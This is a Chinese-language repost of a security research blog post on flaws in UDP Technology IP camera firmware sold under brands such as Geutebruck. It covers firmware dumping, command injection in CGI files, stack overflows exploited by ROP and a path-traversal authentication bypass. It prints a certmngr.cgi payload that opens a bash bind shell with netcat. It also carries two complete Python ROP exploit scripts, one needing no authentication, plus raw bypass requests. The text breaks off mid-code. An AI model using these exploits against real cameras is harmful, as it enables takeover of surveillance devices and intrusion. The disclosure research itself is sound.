【安全分析】UDP 技术 IP 摄像机漏洞

  • A+
所属分类:安全文章

点击上方蓝字“Ots安全”一起玩耍

在 Randorisec,我们长期以来一直在研究 UDP 技术 IP 摄像机固件。


UDP 技术为许多 IP 摄像机供应商提供固件,例如:

  • Geutebruck

  • Ganz

  • Visualint

  • Cap

  • THRIVE Intelligence

  • Sophus

  • VCA

  • TripCorps

  • Sprinx Technologies

  • Smartec

  • Riva

他们还在亚洲以自己的品牌销售自己的相机。


我们已经报告了在 Geutebruck 产品上发现的几个关键漏洞(从 RCE 到身份验证绕过)。Geutebruck 一直是我们接触 UDP 技术的主要联系人。事实上,尽管有大量邮件和 LinkedIn 消息,UDP Technology 从未屈尊承认我们的报告。由于新固件发布,有时无法正确修复报告的漏洞,我们决定跟随新固件的发布,寻找更多漏洞。


这次我们发现了11 个经过身份验证的 RCE和一个完整的身份验证绕过。


回顾之前的发现

自 2017 年以来,这里已经发布了几篇关于 UDP 技术的博文:

  • Geutebruck IP 摄像机上的匿名 RCE

https://www.randorisec.fr/anonymous-rce-on-geutebruck-ip-cameras/

  • Geutebruck IP Camera 上的匿名 RCE(再次)

https://www.randorisec.fr/0day-anonymous-rce-on-geutebruck-ip-cameras-again/

  • Geutebruck IP 摄像机上的 S03E01 RCE

https://www.randorisec.fr/s03e01-rce-on-geutebruck-ip-cameras/

  • Geutebruck IP 摄像机上的 S04E01 RCE

https://www.randorisec.fr/s04e01-rce-on-geutebruck-ip-cameras/

  • Geutebruck IP 摄像机上的 S05E01 RCE

https://www.randorisec.fr/s05e01-rce-on-geutebruck-ip-cameras/

阅读之前的博文不是强制性的,但它仍然很有趣;)


命令注入和身份验证绕过

UDP 技术的固件在暴露给浏览 Web 界面的用户的 CGI 文件中遭受了多次命令注入的影响。


过去在该产品中发现了多次身份验证绕过。在这里,该产品的先前版本也容易受到这种新的身份验证绕过方法的影响。在这些固件(1.12.0.25之前)上,存在 4 个角色或访问级别:

  • 匿名的

  • 查看器

  • 操作员

  • 行政人员

基本上,/viewer/../在通过 Web 界面访问资源时将其添加到资源前可让您将其降低到查看器访问级别。在固件1.12.0.25 之前,配置允许匿名用户(使用匿名级别)通过默认启用的“启用匿名查看器登录(无需用户名或密码)”选项具有查看器访问级别。

【安全分析】UDP 技术 IP 摄像机漏洞

结合身份验证绕过和经过身份验证的 RCE,可以在默认配置下以 root 身份实现 RCE。


让我们重新开始

步骤 0 - 固件分析

首先,我们开始查看最新的固件(1.12.0.27)。

~/geutebruck/geutebruck/firmwares/E2-V1.12.0.27 ❯ file ipx_firmware-V1.12.0.27.Geutebruck112027.200522.enc ipx_firmware-V1.12.0.27.Geutebruck112027.200522.enc: data
~/geutebruck/geutebruck/firmwares/E2-V1.12.0.27 ❯ binwalk ipx_firmware-V1.12.0.27.Geutebruck112027.200522.enc | head
DECIMAL HEXADECIMAL DESCRIPTION--------------------------------------------------------------------------------2011610 0x1EB1DA Zlib compressed data, default compression2014091 0x1EBB8B Zlib compressed data, default compression2016543 0x1EC51F Zlib compressed data, default compression2019160 0x1ECF58 Zlib compressed data, default compression2021722 0x1ED95A Zlib compressed data, default compression2024247 0x1EE337 Zlib compressed data, default compression2026860 0x1EED6C Zlib compressed data, default compression

Binwalk 识别出固件包含许多 Zlib 压缩数据。

~/geutebruck/geutebruck/firmwares/E2-V1.12.0.27 ❯ binwalk -Me ipx_firmware-V1.12.0.27.Geutebruck112027.200522.enc

在尝试提取它们之后,发现了大量没有任何相关内容的数据。由于之前的漏洞,我们知道我们的目标是 Linux 系统。我们一直在寻找已知的文件系统,甚至直接常见的 linux 文件,例如 ELF [0]二进制文件或配置文件。这可能表示固件已加密(注意文件名上的后缀“.enc”)。我们可以通过对固件进行熵分析来确认这一假设,高熵表明固件被加密的可能性很高。

【安全分析】UDP 技术 IP 摄像机漏洞

步骤 1 - 重现以前的漏洞并转储正在运行的固件

如果我们无法从固件中提取文件系统,我们可以从正在运行的相机中提取它。进行研究时,可用的最新固件版本是 1.12.0.27。RandoriSec 报告了固件 1.12.0.25 中的多个漏洞,我们仍然有运行此固件版本的相机。通过使用之前报告的漏洞testaction.cgi,我们设法使用固件 1.12.0.25 在相机上获得了一个 root shell。

我们的方法如下:

  1. 从正在运行的相机版本 1.12.0.25 获取感兴趣的文件系统/二进制文件

  2. 在固件 1.12.0.25 上发现新漏洞

  3. 在最新固件 (1.12.0.27) 上验证这些漏洞

  4. 如果最后一部分成功,则从 1.12.0.27 下载二进制文件


转储分区

ls -al /devtotal 1...crw-rw----    1 root     root       90,   0 Apr 12 15:21 mtd0crw-rw----    1 root     root       90,   1 Apr 12 15:21 mtd0rocrw-rw----    1 root     root       90,   2 Apr 12 15:21 mtd1crw-rw----    1 root     root       90,  20 Apr 12 15:21 mtd10crw-rw----    1 root     root       90,  21 Apr 12 15:21 mtd10rocrw-rw----    1 root     root       90,  22 Apr 12 15:21 mtd11crw-rw----    1 root     root       90,  23 Apr 12 15:21 mtd11rocrw-rw----    1 root     root       90,   3 Apr 12 15:21 mtd1rocrw-rw----    1 root     root       90,   4 Apr 12 15:21 mtd2crw-rw----    1 root     root       90,   5 Apr 12 15:21 mtd2rocrw-rw----    1 root     root       90,   6 Apr 12 15:21 mtd3crw-rw----    1 root     root       90,   7 Apr 12 15:21 mtd3rocrw-rw----    1 root     root       90,   8 Apr 12 15:21 mtd4crw-rw----    1 root     root       90,   9 Apr 12 15:21 mtd4rocrw-rw----    1 root     root       90,  10 Apr 12 15:21 mtd5crw-rw----    1 root     root       90,  11 Apr 12 15:21 mtd5rocrw-rw----    1 root     root       90,  12 Apr 12 15:21 mtd6crw-rw----    1 root     root       90,  13 Apr 12 15:21 mtd6rocrw-rw----    1 root     root       90,  14 Apr 12 15:21 mtd7crw-rw----    1 root     root       90,  15 Apr 12 15:21 mtd7rocrw-rw----    1 root     root       90,  16 Apr 12 15:21 mtd8crw-rw----    1 root     root       90,  17 Apr 12 15:21 mtd8rocrw-rw----    1 root     root       90,  18 Apr 12 15:21 mtd9crw-rw----    1 root     root       90,  19 Apr 12 15:21 mtd9robrw-rw----    1 root     root       31,   0 Apr 12 15:21 mtdblock0brw-rw----    1 root     root       31,   1 Apr 12 15:21 mtdblock1brw-rw----    1 root     root       31,  10 Apr 12 15:21 mtdblock10brw-rw----    1 root     root       31,  11 Apr 12 15:21 mtdblock11brw-rw----    1 root     root       31,   2 Apr 12 15:21 mtdblock2brw-rw----    1 root     root       31,   3 Apr 12 15:21 mtdblock3brw-rw----    1 root     root       31,   4 Apr 12 15:21 mtdblock4brw-rw----    1 root     root       31,   5 Apr 12 15:21 mtdblock5brw-rw----    1 root     root       31,   6 Apr 12 15:21 mtdblock6brw-rw----    1 root     root       31,   7 Apr 12 15:21 mtdblock7brw-rw----    1 root     root       31,   8 Apr 12 15:21 mtdblock8brw-rw----    1 root     root       31,   9 Apr 12 15:21 mtdblock9drwxr-xr-x    2 root     root           520 Apr 12 15:21 mtdpart...

中存在 11 个 MTD [1]节点/dev/。MTD 节点是物联网[2] [3] 中经常使用的块设备。我们/dev/mtd使用netcat转储每个文件 以将原始分区直接发送到我们的主机。

nc 192.168.14.101 4041 < /dev/mtdX

这样做,我们检索了相机上的每个 MTD 设备。

~/geutebruck/firmware_ext ❯ file mtd*mtd0:  datamtd1:  datamtd10: datamtd11: datamtd2:  u-boot legacy uImage, Linux-2.6.18_IPNX_PRODUCT_1.1.2-, Linux/ARM, OS Kernel Image (Not compressed), 1855908 bytes, Wed Nov 30 10:47:49 2016, Load Address: 0x80008000, Entry Point: 0x80008000, Header CRC: 0xBEF4DFF0, Data CRC: 0xD02CCF26mtd3:  Linux jffs2 filesystem data little endianmtd4:  u-boot legacy uImage, Linux-2.6.18_IPNX_PRODUCT_1.1.2-, Linux/ARM, OS Kernel Image (Not compressed), 1855812 bytes, Tue May 12 09:00:47 2020, Load Address: 0x80008000, Entry Point: 0x80008000, Header CRC: 0xF4E6E506, Data CRC: 0x5B9BC3B7mtd5:  Linux Compressed ROM File System data, little endian size 26800128 version #2 sorted_dirs CRC 0x4f9d065c, edition 0, 13570 blocks, 1568 filesmtd6:  Linux jffs2 filesystem data little endianmtd7:  datamtd8:  datamtd9:  data

mtd6 特别有趣,因为它拥有 JFFS2 [4]文件系统。引用源软件[4]:


“JFFS2 是一种日志结构的文件系统,设计用于嵌入式系统中的闪存设备”。


现在我们检索了 JFFS 分区,我们可以使用 jefferson [5]提取它,或者像 Linux 上的任何通用文件系统一样挂载它。


另一个快速选择仍然是利用 shell 并只转储感兴趣的二进制文件。


专注于网络根

考虑到 Web 服务器经常公开暴露在 Internet 上,我们决定首先关注 Web 服务器,然后再处理任何其他服务。根据 HTTP 服务器的配置文件 /var/config/www/lighttpd.conf,所使用的 web 根目录的位置是/usr/www.

# ps -aux ... 1048 root       0:00 /usr/local/lighttpd/sbin/lighttpd -f /var/config/www/lighttpd.conf -m /usr/lib...

第 2 步 - 抓住悬而未决的果实:命令注射

考虑到以往报道的漏洞性质,我们直接开始寻找RCE(更准确的说是命令注入)。

find webroot -name *cgi

前面的命令返回大约 181 个结果,其中一些是到其他的符号链接。我们首先开始看/uapi-cgi/。为了过滤容易被命令注入的 CGI 文件,我们列出了它们的外部符号以寻找对以下函数的调用:

  • 流行[6]

  • 系统[7]

  • 执行* [8]

~/geutebruck/binaries_27/all_cgi_in_root ❯ for i in *.cgi;do   objdump -T $i 2>/dev/null  | grep -E '(popen|system|exec)' > /dev/null && echo $i; done
certmngr.cgicountreport.cgidatetime.cgidownload.cgiencprofile.cgievnprofile.cgiextcounter.cgifactory.cgifwupload.cgiimpexp.cgiinstantrec.cgilanguage.cgilogdownload.cgimetadata.cginetinfo.cginetwork.cginparam.cgintpsync.cgioem.cgireboot.cgiresource.cgisimple_loglistjs.cgisimple_reclistjs.cgistatus.cgitestaction.cgitestcmd.cgitimezone.cgitmpapp.cgi

这将潜在易受攻击的 CGI 文件集减少到这 28 个文件。现在,我们可以开始使用我们最喜欢的反汇编程序打开每个文件。


让我们从certmngr.cgi开始

让我们看一下包含对 exec/system/popen, certmngr 的调用的第一个 cgi 文件。

注意:原始二进制文件不包含符号,因此函数名称已重命名。


确定主函数后,我们检查可以用来与 CGI 交互的不同输入。

【安全分析】UDP 技术 IP 摄像机漏洞

在调用返回值的qCgiRequestsParseQueries之后,该值被传递给函数sub_A010。此函数采用参数名称并返回指向该值的指针。


我们可以看到参数列表:

  • action

  • group

  • country

  • state

  • local

  • organization

  • organization

  • unit

  • commonname

  • days

  • type

请记住,我们正在寻找命令注入,因此我们直接寻找对 system、exec 和 popen 的调用。找到系统函数后,我们列出它的交叉引用。

【安全分析】UDP 技术 IP 摄像机漏洞

【安全分析】UDP 技术 IP 摄像机漏洞

我们探索了两个交叉引用。我们可以看到函数openssl_new。

【安全分析】UDP 技术 IP 摄像机漏洞

此函数使用snprintf构建一个字符串,并将其直接用作system 的参数。请注意,如果我们可以将输入放入此字符串中,我们就可以获得命令执行。

【安全分析】UDP 技术 IP 摄像机漏洞

我们可以只遵循参数流程,寻找另一个交叉引用,然后我们直接到达 main。

【安全分析】UDP 技术 IP 摄像机漏洞

我们直接控制几乎所有用于构建传递给系统的命令的字符串openssl_new。(然而,一个就足够了。)


所以,让我们建立一个快速的概念证明

我们需要正确设置所涉及的每个参数,否则负责解析参数的函数将返回一个空指针,该指针将在没有任何检查的情况下被取消引用,导致程序在到达系统函数之前崩溃:

  • action : createselfcert,到达系统调用所需的操作

  • 本地:任何

  • 国家:AA,(由于额外检查,它只需要 2 个字符长)

  • 状态:我们的有效载荷

  • 组织:任何

  • 组织单位:任何

  • 通用名称:任何东西

  • 天数:任意数字

  • 类型:任何

唯一的其他限制是构建的最终字符串是有效的 bash 命令。

http://192.168.14.58/uapi-cgi/admin/certmngr.cgi?action=createselfcert&local=anything&country=AA&state=%24(nc%20-lp%205098%20-e%20/bin/bash)&organization=anything&organizationunit=anything&commonname=anything&days=1&type=anything

【安全分析】UDP 技术 IP 摄像机漏洞

此时我们可以将相机更新到最新固件,利用我们新发现的漏洞,并重新检查每个 CGI 文件以确保我们的漏洞仍然存在于最新版本的二进制文件中。


我们现在有我们的第一个 RCE 作为 root。它需要一个管理员帐户来触发它。每个 CGI 文件所需的访问级别取决于它所属的文件夹。每个 CGI 文件都在/uapi-cgi/文件夹中。但是,在那里不能直接访问它们。在该/uapi-cgi/文件夹中,还有 3 个其他子文件夹:

  • 行政

  • 操作员

  • 观众

这些文件夹中的每一个都包含指向此访问级别的 CGI 文件的符号链接。管理员可以执行每个 CGI 文件。查看器的子集要小得多。请注意,配置面板上提供的新固件默认禁用的设置允许无需任何身份验证即可访问查看者权限。


无论访问级别如何,我们首先专注于拥有 RCE。


然后继续剩下的cgi文件,收集cgi

通过对每个 CGI 文件应用或多或少相同的方法,我们在以下 CGI 文件中发现了相同类型的漏洞:

  • certmngr.cgi

  • factory.cgi

  • language.cgi

  • oem.cgi

  • simple_reclistjs.cgi

  • testcmd.cgi

  • tmpapp.cgi

我们为每个 RCE 开发了 PoC 和 Metasploit 模块。

【安全分析】UDP 技术 IP 摄像机漏洞

第 3 步 - 让我们更深入!利用缓冲区溢出

我们有很多用 C 语言开发的 CGI 文件,但很少关注安全最佳实践。因此,至少快速查看缓冲区溢出和其他类型的内存损坏错误似乎很自然。


没有“捷径”可以过滤具有潜在缓冲区溢出的 CGI 文件,我们只是单独分析了它们中的每一个。


我们发现了 4 个经典的堆栈缓冲区溢出:

  • countreport.cgi

  • encprofile.cgi

  • evnprofile.cgi

  • instantrec.cgi

让我们专注于instantrec.cgi文件:

【安全分析】UDP 技术 IP 摄像机漏洞

稍后在 main 函数中,我们可以看到很多字符串操作,而无需检查option或action等不同参数的大小。

【安全分析】UDP 技术 IP 摄像机漏洞

我们这里有一个堆栈缓冲区溢出。对于那些不熟悉缓冲区溢出的人,可以在 Internet [9] [10]上找到大量好的文档。


开发 - ROP

保护

在开始利用之前,我们需要了解不同的安全对策。没有堆栈粉碎保护[11]或 NX [12],这意味着放置在堆栈上的数据可以是可执行的。系统上使用的 ASLR [13]真的很弱。ASLR 负责随机化进程的部分地址空间。由于弱配置,只有堆栈地址和堆是随机的。

# cat /proc/sys/kernel/randomize_va_space1

奇怪的是,与我们在互联网上找到的相比,这并没有随机化共享库的地址。我们不确定我们遇到这种行为的确切原因,可能是因为我们在这里面临的内核版本非常旧:

# uname -aLinux EFD-2250 2.6.18_IPNX_PRODUCT_1.1.2-g3532e87a #1 PREEMPT Tue May 12 18:00:46 KST 2020 armv5tejl GNU/Linux

让我们 ROP

为了利用这个堆栈缓冲区溢出,我们选择进行面向返回的编程攻击[14]。这可能看起来不是远程代码执行的直接方式,但是,该解决方案允许我们不必为此架构生成 shellcode,并避免任何堆栈地址的暴力破解。


这个漏洞利用的总体思路是使用 libc 中的小工具将字符串写入 libc 的数据部分。然后我们用这个新写的字符串作为参数调用系统函数。


首先,我们使用ropper从 libc 中检索我们需要的小工具。

0x0006781c: str r1, [r4 + 0x14]; pop r4, pc;0x00101de4: pop r0, pc0x0010252c: pop r1, pc0x00015164: pop r4, pc

此漏洞利用所需的 /lib/libc.so.7 中的小工具列表


为了 ROP 到 libc 中,我们需要 libc 基地址,因为弱 ASLR,我们可以使用/proc/PID/maps.


要在数据部分写入字符串,我们首先将要写入的字符串的 4 个字节弹出到r1. 然后我们将其存储在地址 r4 + 0x14 处。

| pop r4, pc                     | <--- Stack Pointer| 0x1000 - 0x14                  || pop r1, pc                     || "nib/"                         || str r1 [r4 + 0x14]; pop r4, pc || 0x1000 + 4 - 0x14              || pop r1, pc                     || ";hs/"                         || str r1 [r4 + 0x14]; pop r4, pc |

Ropchain 示例,编写“/bin/sh;” 在 0x1000


之后,我们只是将新写入的字符串的地址pop 到其中,r0然后我们返回到libc 中系统函数的开头。


我们编写了一个 Python 漏洞利用程序,以便我们可以执行任意命令。

import requestsimport structimport sys
username = 'admin'password = 'root'
PAD_SIZE=536padding = b"a"*PAD_SIZE
libc_add = 0x402da000
system_off = 0x00357fcputs_off = 0x0005bc5cexit_off = 0x0002d784sleep_off = 0x0009538cputchar_off = 0x005e608
libc_data_off = 0x12c960
str_r1_off = 0x0006781c # str r1 into r4 + 0x14; pop r4 pc;pop_r0_off = 0x00101de4 # pop r0 pcpop_r1_off = 0x0010252c # pop r1 pcpop_r4_off = 0x00015164 # pop r4 pc
system = libc_add + system_offputs = libc_add + puts_offexit_ = libc_add + exit_offsleep = libc_add + sleep_offputchar = libc_add + putchar_off
str_r1 = libc_add + str_r1_offpop_r0 = libc_add + pop_r0_offpop_r1 = libc_add + pop_r1_offpop_r4 = libc_add + pop_r4_off
add_str = libc_data_off + libc_add + 4

def p(a): return struct.pack('<I', a)

def write_string(string, add): rop = b"" if (len(string) %4): print('[-] String would contain null_bytes. ') sys.exit(-1)
chunks = [string[i:i+4] for i in range(0, len(string),4)]

rop += p(pop_r4) rop += p(add-0x14) for index, chunk in enumerate(chunks): rop += p(pop_r1) rop += chunk rop += p(str_r1) if index != len(chunks)-1: rop += p(add - 0x14 + (index + 1)*4) else: rop += b"AAAA"

if b"x00" in rop: print("[-] Pickup another address, ropchain would contain null bytes") print(",".join([hex(ord(i)) for i in rop])) return rop

def main(): url = f'http://{sys.argv[1]}:{sys.argv[2]}/uapi-cgi/instantrec.cgi' cmd = f'{sys.argv[3]}'
print(f'[+] Starting exploit for {url}') print(f't - Command: "{cmd}"')
if len(cmd)%4: cmd += " "*(4 - len(cmd)%4) print("t - Generating ropchain") action = padding action += write_string(cmd.encode(), add_str) action += p(pop_r0) action += p(add_str) action += p(system) print("t - Trigger!") r = requests.post(url, data={'action':action},auth=requests.auth.HTTPDigestAuth(username, password)) print("[*]Shell should have popped!")
def usage(): print(f"[-] Missing arguments.n{sys.argv[0]} <Remote ip> <port> <command>") exit(1)

if __name__=='__main__': if len(sys.argv) < 4: usage()    main()

针对 Instantrec.cgi 的 Python 漏洞利用

因为每个 CGI 文件都使用 libc,所以可以使用完全相同的技术来利用4 个堆栈缓冲区溢出。您只需要调整参数、填充大小和 libc 基地址,这对于每个 CGI 都是不同的,但在执行过程中保持不变。


汇总表

【安全分析】UDP 技术 IP 摄像机漏洞

第 4 步 - 让水果变得美味:身份验证绕过

在查看身份验证机制时,我们意识到它主要依赖于 Web 服务器 lighthttpd 提供的 HTTP 基本身份验证。

/var/config/www/lighttpd.conf 的摘录

...
## mod_access$HTTP["url"] !~ "testcmd.cgi|param.cgi"{ $HTTP["querystring"] =~ "(>|%3e|%3E|||%7c|%7C|;|%3b|%3B|'|%27|!|%21|{|}|%7b|%7B|%7d|%7D|[|]|%5b|%5B|%5d|%5D|`|%60|$(|%[0-1][0-9a-fA-F]|%80|%[eE]2%82%[aA][cC])"{ url.access-deny = ("") }}
$HTTP["url"] =~ "param.cgi"{ $HTTP["querystring"] =~ "("|%22|'|%27|`|%60)"{ url.access-deny = ("") }}...
## < Begin of Authentication part## 0 for off, 1 for 'auth-ok' messages, 2 for verbose debuggingauth.debug = 0## auth.backendinclude "/var/config/www/auth_user"## auth.require #$SERVER["socket"] == ":80" {# $HTTP["url"] =~ "^/*" {# auth.require = ( # "/uapi-cgi/param.fcgi" => (# "method" => "basic",# "realm" => "root",# "require" => "user=root"# ),# "/nvc-cgi/param.fcgi" => (# "method" => "basic",# "realm" => "root",# "require" => "user=root"# ))# }#}include "/var/config/www/auth_require"## > End of Authentication part...

第一个文件/var/config/www/auth_user:

auth.backend = "htdigest"auth.backend.htdigest.userfile = "/tmp/.digest"

用户列表存储在 上auth.backend.htdigest.userfile。

root:administrator:0215f42c8fa1d2cc3c4652529d3a771a

在我们的案例中只有一个。

主配置文件中包含的第二个有趣的文件是/var/config/www/auth_require:

$SERVER["socket"] == ":80" {
url.rewrite-once = ("^/nvc-cgi/([^/]*).(fcgi|cgi)(?.*)?$" => "/nvc-cgi/admin/$1.$2$3","^/uapi-cgi/([^/]*).(fcgi|cgi)(?.*)?$" => "/uapi-cgi/admin/$1.$2$3")
$HTTP["url"] =~ "^/*" {
auth.require = (
"/uapi-cgi/admin" => ( "method" => "digest", "realm" => "administrator", "require" => "user=root"),
"/uapi-cgi/operator" => ( "method" => "digest", "realm" => "administrator", "require" => "user=root"),
"/nvc-cgi/admin" => ( "method" => "digest", "realm" => "administrator", "require" => "user=root"),
"/nvc-cgi/operator" => ( "method" => "digest", "realm" => "administrator", "require" => "user=root"),
"/nvc-cgi/ptz/ptz2.fcgi" => ( "method" => "digest", "realm" => "administrator", "require" => "user=root"),
"/nvc-cgi/ptz/serial2.fcgi" => ( "method" => "digest", "realm" => "administrator", "require" => "user=root"),
"/vca.cgi" => ( "method" => "digest", "realm" => "administrator", "require" => "user=root"),
"/admin" => ( "method" => "digest", "realm" => "administrator", "require" => "user=root"),
"/storage/storage.html" => ( "method" => "digest", "realm" => "administrator", "require" => "user=root"),
"/config/index.html" => ( "method" => "digest", "realm" => "administrator", "require" => "user=root"),
"/uapi-cgi/viewer" => ( "method" => "digest", "realm" => "administrator", "require" => "user=root"),
"/nvc-cgi/viewer" => ( "method" => "digest", "realm" => "administrator", "require" => "user=root"),
"/cgi-bin" => ( "method" => "digest", "realm" => "administrator", "require" => "user=root"),
"/api" => ( "method" => "digest", "realm" => "administrator", "require" => "user=root"),
"/var/config/www/guest_fcgi" => ( "method" => "digest", "realm" => "administrator", "require" => "user=root"),
"/main.html" => ( "method" => "digest", "realm" => "administrator", "require" => "user=root"))}
}

此文件旨在为各种文件夹设置身份验证规则。例如,以下几行负责验证/uapi-cgi/admin:

..."/uapi-cgi/admin" => ( "method"  => "digest", "realm"   => "administrator", "require" => "user=root"),...

但是,如果您还记得,每个 CGI 文件都直接放置在/uapi-cgi/文件夹下,只有符号链接位于以角色(管理员、操作员和查看者)命名的目录中。为了防止未经授权的用户访问/uapi-cgi/下的cgi文件,我们可以在配置文件的顶部找到负责将匹配/uapi-cgi/*.cgi的请求重写为/uapi-cgi/admin/*的指令。CG :

url.rewrite-once = ("^/nvc-cgi/([^/]*).(fcgi|cgi)(?.*)?$" => "/nvc-cgi/admin/$1.$2$3","^/uapi-cgi/([^/]*).(fcgi|cgi)(?.*)?$" => "/uapi-cgi/admin/$1.$2$3")

但是,这个重写规则存在一个问题,它只匹配以 /uapi-cgi/ 开头的请求。因此,如果我们请求/non-existent/../uapi-cgi/certmngr.cgi,该请求将与正则表达式不匹配,不会被重写。更重要的是,在 /uapi-cgi/ 的开头使用双斜线而不是单斜线就足够了。如果不重写,我们直接要求 /uapi-cgi/certmngr.cgi。此文件不通过HTTP基本身份验证保护。


在测试它时,请记住/non-existent/../uapi-cgi/certmngr.cgi可能会被您的浏览器透明地替换为/uapi-cgi/certmngr.cgi这就是我们在这里手动制作 HTTP 请求的原因。

~/geutebruck/disclo/blogpost ❯ python -c 'print("GET /uapi-cgi/certmngr.cgi HTTP/1.1rnHost: 192.168.14.58rnr")' | nc 192.168.14.58 80HTTP/1.1 401 UnauthorizedWWW-Authenticate: Digest realm="administrator", nonce="e4b9e9f05e3412c45cd88da4d3b36bae", qop="auth"Content-Type: text/htmlContent-Length: 351Date: Tue, 13 Apr 2021 17:04:56 GMTServer: lighttpd/1.4.35
<?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head><title>401 - Unauthorized</title></head><body><h1>401 - Unauthorized</h1></body></html>
~/geutebruck/disclo/blogpost ❯ python -c 'print("GET /non-existent/../uapi-cgi/certmngr.cgi HTTP/1.1rnHost: 192.168.14.58rnr")' | nc 192.168.14.58 80HTTP/1.1 200 OKCache-Control: no-cache, max-age=0Pragma: no-cacheExpires: Tue, 13 Apr 2021 17:04:07 GMTContent-Length: 0Date: Tue, 13 Apr 2021 17:04:07 GMTServer: lighttpd/1.4.35
~/geutebruck/disclo/blogpost ❯ python -c 'print("GET //uapi-cgi/certmngr.cgi HTTP/1.1rnHost: 192.168.14.58rnr")' | nc 192.168.14.58 80HTTP/1.1 200 OKCache-Control: no-cache, max-age=0Pragma: no-cacheExpires: Tue, 13 Apr 2021 17:05:21 GMTContent-Length: 0Date: Tue, 13 Apr 2021 17:05:21 GMTServer: lighttpd/1.4.35

身份验证绕过的快速 POC

我们有一个很好的简单技巧来绕过每个/uapi-cgi/文件的身份验证,使我们迄今为止发现的每个 RCE 无需任何身份验证即可访问。我们现在有 11 个预认证 RCE。


奖励 1 - 无身份验证漏洞利用缓冲区溢出

它甚至简化了之前的漏洞利用,因为我们不再需要处理 HTTP 基本身份验证。

import socketimport structimport sys
PAD_SIZE=536padding = b"a" * PAD_SIZE
libc_add = 0x402da000
system_off = 0x00357fcputs_off = 0x0005bc5cexit_off = 0x0002d784sleep_off = 0x0009538cputchar_off = 0x005e608

libc_data_off = 0x12c960
str_r1_off = 0x0006781c #str r0 into r4 + 0x14; pop r4 pc;pop_r0_off = 0x00101de4 #pop r0 pcpop_r1_off = 0x0010252c #pop r1 pcpop_r4_off = 0x00015164 #pop r4 pc

system = libc_add + system_offputs = libc_add + puts_offexit_ = libc_add + exit_offsleep = libc_add + sleep_offputchar = libc_add + putchar_off

str_r1 = libc_add + str_r1_offpop_r0 = libc_add + pop_r0_offpop_r1 = libc_add + pop_r1_offpop_r4 = libc_add + pop_r4_off
add_str = libc_data_off + libc_add + 4

def p(a): return struct.pack('<I', a)

def write_string(string, add): rop = b"" if (len(string) % 4): print('[-] String would contain null_bytes. ') sys.exit(-1)
chunks = [string[i:i + 4] for i in range(0, len(string), 4)]

rop += p(pop_r4) rop += p(add-0x14) for index, chunk in enumerate(chunks): rop += p(pop_r1) rop += chunk rop += p(str_r1) if index != len(chunks) - 1: rop += p(add - 0x14 + (index + 1) * 4) else: rop += b"AAAA"

if b"x00" in rop: print("[-] Pickup another address, ropchain would contain null bytes") print(",".join([hex(ord(i)) for i in rop])) return rop

def send_http_post_request(target, url, data, port=80):
body = b"&".join([key.encode() + b'=' + data[key] for key in data])
head = f"""POST {url} HTTP/1.1rHost: {target}rContent-Length: {len(body)}rnr"""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target, port))
# print(head.encode()+body) s.send(head.encode()+body)# print(s.recv(4096))

def main(): cmd = sys.argv[3] target_url = "/onvif/../uapi-cgi/instantrec.cgi"
print(f'[+] Starting exploit for on {sys.argv[1]}') print(f't - Command: "{cmd}"')

if len(cmd)%4: cmd += " "*( 4 - len(cmd) % 4)
print("t - Generating ropchain") action = padding action += write_string(cmd.encode(), add_str) action += p(pop_r0) action += p(add_str) action += p(system) print("t - Trigger!") send_http_post_request(sys.argv[1], target_url, {'action':action}, port=int(sys.argv[2]))
print("[*]Shell should have popped!")

def usage(): print(f"[-] Missing arguments.n{sys.argv[0]} <Remote ip> <port> <command>") exit(1)

if __name__=='__main__': if len(sys.argv) < 4: usage() main()

奖励 2 - Metasploit 后利用模块

成功访问摄像机后,下一步是攻击摄像机捕获显示,这在红队交战期间非常有用,并且有助于初始物理入侵。


为此,对实时流媒体视频的工作方式的高层次理解至关重要。在 Web 浏览器上查看直播会发现一个内部 JavaScript 代码,该代码负责从 FastCGI 端点获取无限即时帧并覆盖当前显示的帧,从而使直播在裸眼观看时看起来流畅且显示良好。


FastCGI 文件是一个二进制协议,用于将交互式程序与 Web 服务器连接,在我们的例子中,它用作原始流和最终显示在 Web 浏览器中的网页之间的代理。


由于这个 FastCGI 文件是一个黑盒资产,它的一般行为起初可能具有挑战性,但由于可用的工具,snapshot.fcgi使用反汇编器/反编译器(如 IDA 或 Ghidra)对文件进行逆向工程就像观看直播一样简单。


长话短说,每一帧都由 fcgi 二进制文件以原始格式接收并转换为标准图像并作为响应返回,以便稍后在 JavaScript 代码查询时使用。


该main()负责处理所有prementioned的处理功能如下:

int main(void){[...]  iVar1 = UHL_streamInit(); // start the raw connection with the stream  if (iVar1 == 0) {    memset(acStack320,0,0x11c); // allocate space for hardcoded snapshot config file    snprintf(acStack320,0x80,"/var/info/tmp/status_snapshot_fcgi.conf");    [...]    strncpy(acStack192,"/etc/init.d/fcgi/snapshot.fcgi",0x80); // output file   [...]    iVar1 = STATUS_create(acStack320);    g_statusHandle = iVar1;    if (iVar1 != 0) {      IPNUTIL_RegisterSigHandler(signalHandler); // handle interruptions signalsLAB_00008c54:      iVar1 = FCGI_Accept(); // accept request      if (-1 < iVar1) {        while( true ) { // infinite display          local_1c[0] = 0;          iVar1 = UHL_frameOpenTime(0,0,2,0,0,0,0,0); // open raw connection with the stream          if (iVar1 == 0) break; // no stream ==> exit          UHL_frameGetSerial(iVar1,local_1c); // store stream serial reference            if (local_1c[0] == 0) { // no serial identified ==> exit            UHL_frameClose(iVar1);            break;          }          local_24 = 0;          local_20 = (void *)0x0;          UHL_frameGetData(iVar1,&local_20,&local_24); // start getting data and store it in local_20          __n = local_24;          __dest = malloc(local_24); // allocate space for raw data          if (__dest == (void *)0x0) break; // failed to dynamically allocate space           memcpy(__dest,local_20,__n); // copying the raw data to the allocated space. no overflow !!          UHL_frameClose(iVar1); // finished receving data          FCGI_printf("Content-Length: %drn",__n); // preparing HTTP response header          printHead("image/jpeg"); // content type          iVar1 = FCGI_fwrite(__dest,__n,1,0x111c8); // writing content as http response          if (iVar1 == 1) { // success            FCGI_fflush(0x111c8); // flush the buffer            free(__dest); // free allocated space ; otherwise memory leak ?            goto LAB_00008c54; // repeat the process           }          printHead("text/html"); // if something went wrong we reach this point          errorPrint("PrintData error"); // print error on the page;          free(__dest); // also free the allocated space          iVar1 = FCGI_Accept(); // try to accept a request          if (iVar1 < 0) goto 